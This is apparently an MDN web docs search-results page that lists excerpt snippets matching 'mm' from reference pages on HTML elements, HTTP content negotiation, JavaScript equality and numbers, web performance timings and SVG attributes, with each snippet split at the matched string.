mmon attributes type and value idl attributes value methods none value an <input type="submit"> element's value attribute contains a domstring which is displayed as the button's label. buttons do not have a true value otherwise. <input type="submit" value="send request"> if you don't specify a value, the button will have a default label, chosen by the user agent. this label is likely to be something along the lin...
... formnovalidate a boolean which, if present, means the form's fields will not be subjected to constraint validation before submitting the data to the server formtarget the browsing context into which to load the response returned by the server after submitting the form formaction a string indicat...
...e this encoding type if your form includes any <input> elements of type file (<input type="file">). text/plain plain text; mostly useful only for debugging, so you can easily see the data that's to be submitted. if specified, the value of the formenctype attribute overrides the owning form's action attribute. this attribute is also available on <input type="image"> and <button> elements. for
mmethod a string indicating the http method to use when submitting the form's data; this value overrides any method attribute given on the owning form. permitted values are: get a url is constructed by starting with the url given by the formaction or action attribute, appending a question mark ("?") character, then appending the form's data, encoded as described by formenctype or the form's enc...
...And 2 more matches
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen. see the example under representing onscreen input options below. you can define a custom style to override the browser's default font selection for the <kbd> element, although the user's preferences may potentially override your css. examples basic example <p>use the co
mmand <kbd>help myco
mmand</kbd> to view documentation for the co
mmand "myco
mmand".</p> representing keystrokes within an input to describe an input comprised of multiple keystrokes, you can nest multiple <kbd> elements, with an outer <kbd> element representing the overall input and each individual keystroke or component of the input enclosed within its own <kbd>. unstyled first, let's look at...
...e keys in the output to be presented: <p>you can also create a new document by pressing <kbd><kbd class="key">ctrl</kbd>+<kbd class="key">n</kbd></kbd>.</p> result the result is just what we want! echoed input nesting a <kbd> element inside a <samp> element represents input that has been echoed back to the user by the system. <p>if a syntax error occurs, the tool will output the initial co
mmand you typed for your review:</p> <blockquote> <samp><kbd>custom-git ad my-new-file.cpp</kbd></samp> </blockquote> representing onscreen input options nesting a <samp> element inside a <kbd> element represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen. for example, you can explain how to ...
...confirm once you've entered the name of the new file.</p> this does some interesting nesting. for the menu option description, the entire input is enclosed in a <kbd> element. then, inside that, both the menu and menu item names are contained within both <kbd> and <samp>, indicating an input which is selected from a screen widget. ...
...And 2 more matches
<script>: The Script element - HTML: Hypertext Markup Language
content categories metadata content, flow content, phrasing content. permitted content dynamic script such as text/javascript. tag omission none, both the starting and ending tag are mandatory. ...
...ts its character encoding from the document. language like the type attribute, this attribute identifies the scripting language in use. unlike the type attribute, however, this attribute’s possible values were never standardized. the type attribute should be used instead. notes scripts without async , defer or type="module" attributes, as well as inline scripts, are fetched and executed i
mmediately, before the browser continues to parse the page. the script should be served with the text/javascript mime type, but browsers are lenient and only block them if the script is served with an image type (image/*); a video type (video/*); an audio (audio/*) type; or text/csv. if the script is blocked, an error is sent to the element, if not a load event is sent. examples basic usage thes...
...pe in the type attribute. ...
...And 2 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
d be 1; however, in practice, this has been found to break some web sites, and no other browser currently does that, so mozilla has opted to continue to return 0 for the time being with firefox. usage notes selecting multiple options on a desktop computer, there are a number of ways to select multiple options in a <select> element with a multiple attribute: mouse users can hold the ctrl, co
mmand, or shift keys (depending on what makes sense for your operating system) and then click multiple options to select/deselect them. warning: the mechanism for selecting multiple non-contiguous items via the keyboard described below currently only seems to work in firefox. also note: on macos, the ctrl + up and ctrl + down shortcuts conflict with the os default shortcuts for mission control an...
...only 4 lines to display at a time; you can scroll to view all the options. we've included <optgroup> elements to divide the options up into different groups. this is a purely visual grouping, its visualization generally consists of the group name being bolded, and the options being indented. the "hamster" option includes a disabled attribute and therefore can't be selected at all. technical su
mmary content categories flow content, phrasing content, interactive content, listed, labelable, resettable, and submittable form-associated element permitted content zero or more <option> or <optgroup> elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. imp...
...y element that accepts phrasing content. ...
...And 2 more matches
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
er level of importance. use the <em> element to mark text that has stress emphasis. another accepted use for <strong> is to denote the labels of paragraphs which represent notes or warnings within the text of a page. <b> vs. <strong> it is often confusing to new developers why there are so many ways to express the same thing on a rendered website. <b> and <strong> are perhaps one of the most co
mmon sources of confusion, causing developers to ask "should i use <b> or <strong>? don't they both do the same thing?" not exactly. the <strong> element is for content that is of greater importance, while the <b> element is used to draw attention to text without indicating that it's more important. it may help to realize that both are valid and semantic elements in html5 and that it's a coinciden...
...ave the same default styling (boldface) in most browsers (although some older browsers actually underline <strong>). each element is meant to be used in certain types of scenarios, and if you want to bold text simply for decoration, you should instead actually use the css font-weight property. the intended meaning or purpose of the enclosed text should be what determines which element you use. co
mmunicating meaning is what semantics are all about. <em> vs. <strong> adding to the confusion is the fact that while html 4 defined <strong> as simply indicating a stronger emphasis, html 5 defines <strong> as representing "strong importance for its contents." this is an important distinction to make. while <em> is used to change the meaning of a sentence as spoken emphasis does ("i love carrots...
...o increase the relative degree of importance or stress emphasis, respectively. ...
...And 2 more matches
<sup>: The Superscript element - HTML: Hypertext Markup Language
ering, which is used in some languages when rendering certain abbreviations. for example, in french, the word "mademoiselle" can be abbreviated "mlle"); this is an acceptable use case. see superior lettering for examples. representing ordinal numbers, such as "4th" instead of "fourth." see ordinal numbers for examples. ...
...iations. for example, in french, the word "mademoiselle" can be abbreviated "mlle"); this is an acceptable use case. see superior lettering for examples. representing ordinal numbers, such as "4th" instead of "fourth." see ordinal numbers for examples. examples exponents exponents, or powers of a number, are among the most co
mmon uses of superscripted text. ...
...s for examples. examples exponents exponents, or powers of a number, are among the most co
mmon uses of superscripted text. for example: <p>one of the most co
mmon equations in all of physics is <var>e</var>=<var>m</var><var>c</var><sup>2</sup>.<p> the resulting output looks like this: superior lettering superior lettering is not technically the same thing as superscript. however, it is co
mmon to use <sup> to present superior lettering in html. ...
...And 2 more matches
<table>: The Table element - HTML: Hypertext Markup Language
ed by the <col> and <colgroup> elements) only; rows, which will cause the rules to be displayed between rows; columns, which will cause the rules to be displayed between columns; all, which will cause the rules to be displayed between rows and columns. to achieve a similar effect, apply the border property to the appropriate <thead>, <tbody>, <tfoot>, <col>, or <colgroup> elements. su
mmary this attribute defines an alternative text that su
mmarizes the content of the table. use the <caption> element instead. width this attribute defines the width of the table. use the css width property instead. examples simple table <table> <tr> <td>john</td> <td>doe</td> </tr> <tr> <td>jane</td> <td>doe</td> </tr> </table> more examples <p>simple tabl...
...nt whose value clearly and concisely describes the table's purpose, it helps the people decide if they need to read the rest of the table content or skip over it. this helps people navigating with the aid of assistive technology such as a screen reader, people experiencing low vision conditions, and people with cognitive concerns. mdn adding a caption to your table with <caption> caption & su
mmary • tables • w3c wai web accessibility tutorials scoping rows and columns the scope attribute on header elements is redundant in simple contexts, because scope is inferred. however, some assistive technologies may fail to draw correct inferences, so specifying header scope may improve user experiences. in complex tables, scope can be specified so as to provide necessary information about ...
...s that don't have to rely on using the colspan and rowspan attributes. in addition to helping people who use assistive technology understand the table's content, this may also benefit people with cognitive concerns who may have difficulty understanding the associations the table layout is describing. ...
...And 2 more matches
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
r this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories sectioning root. permitted content flow content. tag omission the start tag is mandatory. the end tag may be omitted, if it is i
mmediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. implicit aria role cell if a descendant of a <table> element permitted aria roles any dom interface htmltabledatacellelement attributes this element includes the global attributes. colspan this attribute contai...
... content in the cell element is aligned to a character. typical values include a period (.) to align numbers or monetary values. if align is not set to char, this attribute is ignored. charoff this attribute is used to shift column data to the right of the character specified by the char attribute. its value specifies the length of this shift. height this attribute is used to define a reco
mmended cell height. use the css height property instead. scope this enumerated attribute defines the cells that the header (defined in the <th>) element relates to. only use this attribute with the <th> element to define the row or column for which it is a header. valign this attribute specifies how a text is vertically aligned inside a cell. possible values for this attribute are: base...
...nstead of the bottom. if characters don't descend below the baseline, the baseline value achieves the same effect as bottom. bottom: positions the text near the bottom of the cell. middle: centers the text in the cell. and top: positions the text near the top of the cell. to achieve a similar effect, use the css vertical-align property. ...
...And 2 more matches
<th> - HTML: Hypertext Markup Language
like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content, but with no header, footer, sectioning content, or heading content descendants. tag omission the start tag is mandatory. the end tag may be omitted, if it is i
mmediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. implicit aria role columnheader or rowheader permitted aria roles any dom interface htmltableheadercellelement attributes this element includes the global attributes. abbr this attribute contains a short abbrev...
...text-align property, unimplemented in css3. charoff obsolete since html5 this attribute is used to shift column data to the right of the character specified by the char attribute. its value specifies the length of this shift. note: do not use this attribute as it is obsolete in the latest standard. height deprecated since html4, obsolete since html5 this attribute is used to define a reco
mmended cell height. note: do not use this attribute as it is obsolete in the latest standard: use the css height property instead. valign obsolete since html5 this attribute specifies how a text is vertically aligned inside a cell. possible values for this attribute are: baseline: positions the text near the bottom of the cell and aligns it with the baseline of the characters instead of th...
...s the same effect as bottom. bottom: positions the text near the bottom of the cell. middle: centers the text in the cell. and top: positions the text near the top of the cell. note: do not use this attribute as it is obsolete in the latest standard: use the css vertical-align property instead. width deprecated since html4, obsolete since html5 this attribute is used to define a reco
mmended cell width. additional space can be added with the cellspacing and cellpadding properties and the width of the <col> element can also create extra width. but, if a column's width is too narrow to show a particular cell properly, it will be widened when displayed. note: do not use this attribute as it is obsolete in the latest standard: use the css width property instead. examples see <...
...And 2 more matches
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
nd ending tag are mandatory. permitted parents any element that accepts phrasing content. permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes examples basic example this example uses <tt> to show text entered into, and output by, a terminal application. ...
...you can override this using css by creating a rule using the tt selector, as seen in the example overriding the default font above. user-configured changes to the default ...
... selector, as seen in the example overriding the default font above. user-configured changes to the default monospace font setting may take precedence over your css. ...
...And 2 more matches
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
textual annotations created with <u>), use the <ruby> element. to apply an underlined appearance without any semantic meaning, use the text-decoration property's value underline. examples indicating a spelling error this example uses the <u> element and some css to display a paragraph which includes a misspelled error, with the error indicated in the red wavy underline style which is fairly co
mmonly used for this purpose. html <p>this paragraph includes a <u class="spelling">wrnogly</u> spelled word.</p> in the html, we see the use of <u> with a class, spelling, which is used to indicate the misspelling of the word "wrongly". css u.spelling { text-decoration: red wavy underline; } this css indicates that when the <u> element is styled with the class spelling, it should have a red...
...aph includes a <u class="spelling">wrnogly</u> spelled word.</p> in the html, we see the use of <u> with a class, spelling, which is used to indicate the misspelling of the word "wrongly". css u.spelling { text-decoration: red wavy underline; } this css indicates that when the <u> element is styled with the class spelling, it should have a red wavy underline underneath its text. this is a co
mmon styling for spelling errors. another co
mmon style can be presented using red dashed underline. result the result should be familiar to anyone who has used any of the more popular word processors available today. avoiding <u> most of the time, you actually don't want to use <u>. here are some examples that show what you should do instead in several cases. non-semantic underlines to under...
...ead of <u> or even <i>. html <p>the class read <cite>moby dick</cite> in the first term.</p> result with default style note that the default styling for the <cite> element renders the text in italics. ...
...And 2 more matches
accesskey - HTML: Hypertext Markup Language
ractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: in the whatwg spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports. however, this does not work in most browsers. ie/edge uses the first one it supports without problems, provided there are no conflicts with other co
mmands. the way to activate the accesskey depends on the browser and its platform: windows linux mac firefox alt + shift + key on firefox 57 or newer: control + option + key or control + alt + key on firefox 14 or newer: control + alt + key on firefox 13 or older: control + key internet explorer alt + key alt + shift + key n/a ...
...re present, so that they are aware of the functionality. if the system lacks a method of notifying the user about this feature, the user might accidentally activate accesskeys. because of these issues, it is generally advised not to use accesskeys for most general-purpose websites and web apps. ...
...f notifying the user about this feature, the user might accidentally activate accesskeys. because of these issues, it is generally advised not to use accesskeys for most general-purpose websites and web apps. webaim: keyboard accessibility - accesskey specifications specification status co
mment html 5.2the definition of 'accesskey' in that specification. reco
mmendation more realistic behavior described for what is implemented in reality. html living standardthe definition of 'accesskey' in that specification. living standard no change from latest w3c html 5.1 spec. html 5.1the definition of 'accesskey' in that specification. reco
mmendation no change from html5. html5the definition of 'accesskey' in that specific...
...And 2 more matches
lang - HTML: Hypertext Markup Language
the lang global attribute helps define the language of an element: the language that non-editable elements are written in, or the language that the editable elements should be written in by the user. the attribute contains a single “language tag” in the format defined in tags for identifying languages (bcp47). the default value of lang is unknown, therefore it is reco
mmended to always specify this attribute with the appropriate value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if the attribute value is the empty string (lang=""), the language is set to unknown; if the language tag is not valid according...
... (lang=""), the language is set to unknown; if the language tag is not valid according to bcp47, it is set to invalid. language tag syntax the full bcp47 syntax is in-depth enough to mark extremely specific language dialects, but most usage is much simpler. a language tag is made of hyphen-separated language subtags, where each subtag indicates a certain property of the language. the 3 most co
mmon subtags are: language subtag required. a 2-or-3-character code that defines the basic language, typically written in all lowercase. for example, the language code for english is en, and the code for badeshi is bdz. script subtag optional. this subtag defines the writing system used for the language, and is always 4 characters long, with the first letter capitalized. for example, french-in...
...e subtag lookup. even if the lang attribute is set, it may not be taken into account, as the xml:lang attribute has priority. for the css pseudo-class :lang, two invalid language names are different if their names are different. so while :lang(es) matches both lang="es-es" and lang="es-419", :lang(xyzzy) would not match lang="xyzzy-zorp!". ...
...And 2 more matches
Global attributes - HTML: Hypertext Markup Language
global attributes may be specified on all html elements, even those not specified in the standard. that means that any non-standard elements must still permit these attributes, even though using those elements means that the document is no longer html5-compliant. for example, html5-compliant browsers hide content marked as <foo hidden>...</foo>, even though <foo> is not a valid html element. in addition to the basic html global attributes, the following global attributes also exist: xml:lang and xml:base — these are inherited from the xhtml specifications and deprecated, but kept for compatibility purposes. ...
... an enumerated attribute defines whether the element may be checked for spelling errors. it may have the following values: true, which indicates that the element should be, if possible, checked for spelling errors; false, which indicates that the element should not be checked for spelling errors. style contains css styling declarations to be applied to the element. note that it is reco
mmended for styles to be defined in a separate file or files. this attribute and the <style> element have mainly the purpose of allowing for quick styling, for example for testing purposes. tabindex an integer attribute indicating if the element can take input focus (is focusable), if it should participate to sequential keyboard navigation, and if so, at what position. it can take several values: ...
...whether an element's attribute values and the values of its text node children are to be translated when the page is localized, or whether to leave them unchanged. it can have the following values: empty string and yes, which indicates that the element will be translated. no, which indicates that the element will not be translated. specifications specification status co
mment html living standardthe definition of 'global attributes' in that specification. living standard shadow parts working draft added the part and exportparts global attributes. html 5.2the definition of 'global attributes' in that specification. reco
mmendation snapshot of html living standard. from html 5.1, itemid, itemprop, itemref, itemscope, a...
...And 2 more matches
Content negotiation - HTTP
re precisely the associated response headers), so that caches can work optimally. in addition to these, there is an experimental proposal to add more headers to the list of available headers, called client hints. client hints advertise what kind of device the user agent runs on (for example, if it is a desktop computer or a mobile device). even if server-driven content negotiation is the most co
mmon way to agree on a specific representation of a resource, it has several drawbacks: the server doesn't have total knowledge of the browser. even with the client hints extension, it has not a complete knowledge of the capabilities of the browser. unlike reactive content negotiation where the client makes the choice, the server choice is always somewhat arbitrary. the information by the client...
...the information by the client is quite verbose (http/2 header compression mitigates this problem) and a privacy risk (http fingerprinting) as several representations of a given resource are sent, shared caches are less efficient and server implementations are more complex. the accept header the accept header lists the mime types of media resources that the agent is willing to process. it is co
mma-separated lists of mime types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different mime types. the accept header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an html page or an image, a video, or a script: it is different when fetching a document entered in the address bar...
...the browser, or any other user-agent, and can vary according to the context, like fetching an html page or an image, a video, or a script: it is different when fetching a document entered in the address bar or an element linked via an <img>, <video> or <audio> element. browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of default values for co
mmon browsers is available. the accept-ch header this is part of an experimental technology called client hints. initial support is in chrome 46 or later. the device-memory value is in chrome 61 or later. the experimental accept-ch lists configuration data that can be used by the server to select an appropriate response. valid values are: value meaning device-memory ...
...And 2 more matches
Equality comparisons and sameness - JavaScript
mber value, nan, to represent the solution to certain ill-defined mathematical problems: negative infinity added to positive infinity, for example. strict equality treats nan as unequal to every other value -- including itself. (the only case in which (x !== x) is true is when x is nan.) loose equality using == loose equality compares two values for equality, after converting both values to a co
mmon type. after conversions (one or both sides may undergo conversions), the final equality comparison is performed exactly as === performs it. loose equality is sy
mmetric: a == b always has identical semantics to b == a for any values of a and b (except for the order of applied conversions). the equality comparison is performed as follows for operands of the various types: operand b...
...omparison using strict equality is easier to predict, and may evaluate more quickly due to the lack of type coercion. same-value equality same-value equality addresses a final use case: determining whether two values are functionally identical in all contexts. (this use case demonstrates an instance of the liskov substitution principle.) one instance occurs when an attempt is made to mutate an i
mmutable property: // add an i
mmutable negative_zero property to the number constructor. object.defineproperty(number, 'negative_zero', { value: -0, writable: false, configurable: false, enumerable: false }); function attemptmutation(v) { object.defineproperty(number, 'negative_zero', { value: v }); } object.defineproperty will throw an exception when attempting to change...
... same-value equality is provided by the object.is method. ...
...And 2 more matches
Control flow and error handling - JavaScript
rate statements in javascript code. any javascript expression is also a statement. see expressions and operators for complete information about expressions. block statement the most basic statement is a block statement, which is used to group statements. the block is delimited by a pair of curly brackets: { statement_1; statement_2; ⋮ statement_n; } example block statements are co
mmonly used with control flow statements (if, for, while). while (x < 10) { x++; } here, { x++; } is the block statement. important: javascript before ecmascript2015 (6th edition) does not have block scope! in older javascript, variables introduced within a block are scoped to the containing function or script, and the effects of setting them persist beyond the block itself. in other words, ...
... outputs 2 this outputs 2 because the var x statement within the block is in the same scope as the var x statement before the block. (in c or java, the equivalent code would have outputted 1.) since ecmascript2015, the let and const variable declarations are block-scoped. see the let and const reference pages for more information. conditional statements a conditional statement is a set of co
mmands that executes if a specified condition is true. javascript supports two conditional statements: if...else and switch. if...else statement use the if statement to execute a statement if a logical condition is true. use the optional else clause to execute a statement if the condition is false. an if statement looks like this: if (condition) { statement_1; } else { statement_2; } here, ...
...ition_is_false; statement_4_runs_if_condition_is_false; } it's unwise to use simple assignments in a conditional expression, because the assignment can be confused with equality when glancing over the code. for example, do not write code like this: // prone to being misread as "x == y" if (x = y) { /* statements here */ } if you need to use an assignment in a conditional expression, a co
mmon practice is to put additional parentheses around the assignment, like this: if ((x = y)) { /* statements here */ } falsy values the following values evaluate to false (also known as falsy values): false undefined null 0 nan the empty string ("") all other values—including all objects—evaluate to true when passed to a conditional statement. caution: do not confuse the primi...
...And 2 more matches
Numbers and dates - JavaScript
=== 420 and "\045" === "%". in ecmascript 2015, octal numbers are supported if they are prefixed with 0o, e.g.: var a = 0o10; // es2015: 8 hexadecimal numbers hexadecimal number syntax uses a leading zero followed by a lowercase or uppercase latin letter "x" (0x or 0x). if the digits after 0x are outside the range (0123456789abcdef), the following syntaxerror is thrown: "identifier starts i
mmediately after numeric literal". 0xfffffffffffffffff // 295147905179352830000 0x123456789abcdef // 81985529216486900 0xa // 10 exponentiation 1e3 // 1000 2e6 // 2000000 0.1e2 // 10 number object the built-in number object has properties for numerical constants, such as maximum value, not-a-number, and infinity. you cannot change the values of these properties and you us...
...hese properties and you use them as follows: var biggestnum = number.max_value; var smallestnum = number.min_value; var infinitenum = number.positive_infinity; var neginfinitenum = number.negative_infinity; var notanum = number.nan; you always refer to a property of the predefined number object as shown above, and not as a property of a number object you create yourself. the following table su
mmarizes the number object's properties. properties of number property description number.max_value the largest representable number (±1.7976931348623157e+308) number.min_value the smallest representable number (±5e-324) number.nan special "not a number" value number.negative_infinity special negative infinite value; returned on ove...
...r the passed value is an integer. number.isnan() determines whether the passed value is nan. more robust version of the original global isnan(). number.issafeinteger() determines whether the provided value is a number that is a safe integer. the number prototype provides methods for retrieving information from number objects in various formats. the following table su
mmarizes the methods of number.prototype. methods of number.prototype method description toexponential() returns a string representing the number in exponential notation. tofixed() returns a string representing the number in fixed-point notation. toprecision() returns a string representing the number to a specified precision in fixed-point notati...
...And 2 more matches
Navigation and resource timings - Web Performance
t compressionsavings = 1 - (timing.encodedbodysize / timing.decodedbodysize) but using transfersize includes the overhead bytes. for comparison, we can look at the network tab and see that we transferred 22.04kb for an uncompressed file size of 87.24kb. if we do the math with these numbers, we get the same result: 1 - (22.04 / 87.24) = 0.747. the navigation timings provide us a way to progra
mmatically check transfer sizing and bandwidth savings. note that this is the size for this single document alone: for this resource alone, not for all the resources combined. however, the duration, load events and dom related timings have to do with the entire navigation, not this single asset. client-side web applications may seem faster than this one with transfer sizes under 10000 and decode...
...g javascript on the main thread for long periods of time can lead to a non-responsive user interface. request time the api doesn't provide every measurement you may desire. for example, how long did the request take? we can use measurements we do have, to get our answer. to measure the response time, subtract the request start time from the response start time. the request start is the moment i
mmediately before the user agent starts requesting the resource from the server, or from relevant application caches or from local resources. the response start is the time i
mmediately after the user agent's http parser receives the first byte of the response from relevant application caches, or from local resources or from the server, which happens after the request is received and processed. requ...
... caches or from local resources. the response start is the time i
mmediately after the user agent's http parser receives the first byte of the response from relevant application caches, or from local resources or from the server, which happens after the request is received and processed. request = timing.responsestart - timing.requeststart load event duration by subtracting the time stamp from i
mmediately before the load event of the current document is fired from the time when the load event of the current document is completed, you can measure the duration of the load event. ...
...And 2 more matches
Web Performance
g path is the sequence of steps the browser goes through to convert the html, css, and javascript into pixels on the screen. optimizing the critical render path improves render performance.the critical rendering path includes the document object model (dom), css object model (cssom), render tree and layout.css and javascript animation performancebrowsers are able to optimize rendering flows. in su
mmary, we should always try to create our animations using css transitions/animations where possible. if your animations are really complex, you may have to rely on javascript-based animations instead.lazy loadinglazy loading is a strategy to identify resources as non-blocking (non-critical) and load these only when needed. it is a way of shorten the critical rendering path length, what would transl...
...nd real user monitoring (rum) are two approaches for monitoring and providing insight into web performance. in this article we define and compare these two performance monitoring approaches.populating the page: how browsers worka developer should strive to achieve these two goals. ...
...e a less important optimization focus for improved performance, but there are some css features that impact performance more than others. in this article we look at some css properties that impact performance and suggested ways of handling styles to ensure performance is not negatively impacted. javascript performance best practices javascript, when used properly, can allow for interactive and i
mmersive web experiences — or it can significantly harm download time, render time, in-app performance, battery life, and user experience. this article outlines some javascript best practices that should be considered to ensure even complex content is as performant as possible. mobile performance with web access on mobile devices being so popular, and all mobile platforms having fully-fledged we...
...And 2 more matches
dx - SVG: Scalable Vector Graphics
values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphs, the remaining glyphs use a value of 0. if there are more values than glyphs, extra values are ignored. ...
... status co
mment filter effects module level 1the definition of 'dx' in that specification. working draft initial definition for <fedropshadow> filter effects module level 1the definition of 'dx' in that specification. working draft definition for <feoffset> scalable vector graphics (svg) 2the definition of 'dx' in that specification. candidate reco
mmendation definition for <text> and <tspan> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dx' in that specification. reco
mmendation initial definition for <feoffset> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dx' in that specification. ...
...raphics (svg) 2the definition of 'dx' in that specification. candidate reco
mmendation definition for <text> and <tspan> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dx' in that specification. reco
mmendation initial definition for <feoffset> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dx' in that specification. reco
mmendation initial definition for <altglyph> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dx' in that specification. reco
mmendation initial definition for <glyphref> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dx' in that specification. ...
...And 2 more matches
dy - SVG: Scalable Vector Graphics
lues, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphes, the remaining glyphes use a value of 0. if there are more values than glyphes, extra values are ignored. ...
... status co
mment filter effects module level 1the definition of 'dy' in that specification. working draft initial definition for <fedropshadow> filter effects module level 1the definition of 'dy' in that specification. working draft definition for <feoffset> scalable vector graphics (svg) 2the definition of 'dy' in that specification. candidate reco
mmendation definition for <text> and <tspan> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dy' in that specification. reco
mmendation initial definition for <feoffset> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dy' in that specification. ...
...raphics (svg) 2the definition of 'dy' in that specification. candidate reco
mmendation definition for <text> and <tspan> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dy' in that specification. reco
mmendation initial definition for <feoffset> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dy' in that specification. reco
mmendation initial definition for <altglyph> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dy' in that specification. reco
mmendation initial definition for <glyphref> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dy' in that specification. ...
...And 2 more matches
gradientTransform - SVG: Scalable Vector Graphics
le="transform: translatex(220px);" /> </svg> usage notes default value identity transform value <transform-list> animatable yes <transform-list> a list of transformation functions specifying some additional transformation from the gradient coordinate system onto the target coordinate system. ...
...rdinate system. specifications specification status co
mment css transforms level 1the definition of 'surfacescale for <fespecularlighting>' in that specification. working draft defines the <transformation-list> value. scalable vector graphics (svg) 2the definition of 'gradienttransformation for <lineargradient>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 2the definition of 'gradienttransformation for <radialgradient>' in that specification. ...
...' in that specification. working draft defines the <transformation-list> value. scalable vector graphics (svg) 2the definition of 'gradienttransformation for <lineargradient>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 2the definition of 'gradienttransformation for <radialgradient>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'gradienttransformation for <lineargradient>' in that specification. ...
...And 2 more matches
gradientUnits - SVG: Scalable Vector Graphics
top/left of the object bounding box and (1,1) is at the bottom/right of the object bounding box). when the object's bounding box is not square, the rings that are conceptually circular within object bounding box space will render as elliptical due to application of the non-uniform scaling transformation from bounding box space to user space. ...
...e rings that are conceptually circular within object bounding box space will render as elliptical due to application of the non-uniform scaling transformation from bounding box space to user space. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'gradientunits for <radialgradient>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 2the definition of 'gradientunits for <lineargradient>' in that specification. ...
...rom bounding box space to user space. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'gradientunits for <radialgradient>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 2the definition of 'gradientunits for <lineargradient>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'gradientunits for <radialgradient>' in that specification. ...
...And 2 more matches
r - SVG: Scalable Vector Graphics
t will be drawn such that the 100% gradient stop is mapped to the perimeter of this end circle. a value of lower or equal to zero will cause the area to be painted as a single color using the color and opacity of the last gradient <stop>. ...
...or equal to zero will cause the area to be painted as a single color using the color and opacity of the last gradient <stop>. value <length> | <percentage> default value 50% animatable yes specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'r' in that specification. ...
...h> | <percentage> default value 50% animatable yes specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'r' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'r' in that specification. candidate reco
mmendation definition for svg2 paint servers <radialgradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'r' in that specification. ...
...And 2 more matches
systemLanguage - SVG: Scalable Vector Graphics
systemlanguage is often used in conjunction with the <switch> element. if the attribute is used in other situations, then it represents a simple switch on the given element whether to render the element or not. note: if several alternative language objects are enclosed in a <switch> and none of them matches, t...
...d in bcp 47. systemlanguage is often used in conjunction with the <switch> element. if the attribute is used in other situations, then it represents a simple switch on the given element whether to render the element or not. note: if several alternative language objects are enclosed in a <switch> and none of them matches, this may lead to situations where no content is displayed. it is thus reco
mmended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases. the attribute evaluates to "true" if one of the language tags indicated by user preferences is a case-insensitive match or prefix (followed by a "-") of one of the language tags given in the value of this parameter. otherwise it evaluates to "false". note: the prefix matching rule does not imply...
...he object on which the systemlanguage test attribute is placed, this does not mean that it is intended for multiple linguistic audiences. an example would be a beginner's language primer, such as "a first lesson in latin," which is clearly intended to be used by an english-literate audience. ...
...And 2 more matches
y1 - SVG: Scalable Vector Graphics
the bottom left corner of the bounding box of the shape it is applied to. ...
...g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'y1' in that specification. ...
... </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'y1' in that specification. candidate reco
mmendation definition for <line> scalable vector graphics (svg) 2the definition of 'y1' in that specification. candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y1' in that specification. ...
...And 2 more matches
y2 - SVG: Scalable Vector Graphics
he bottom right corner of the bounding box of the shape it is applied to. ...
...g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'y2' in that specification. ...
... </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'y2' in that specification. candidate reco
mmendation definition for <line> scalable vector graphics (svg) 2the definition of 'y2' in that specification. candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y2' in that specification. ...
...And 2 more matches
<feComponentTransfer> - SVG: Scalable Vector Graphics
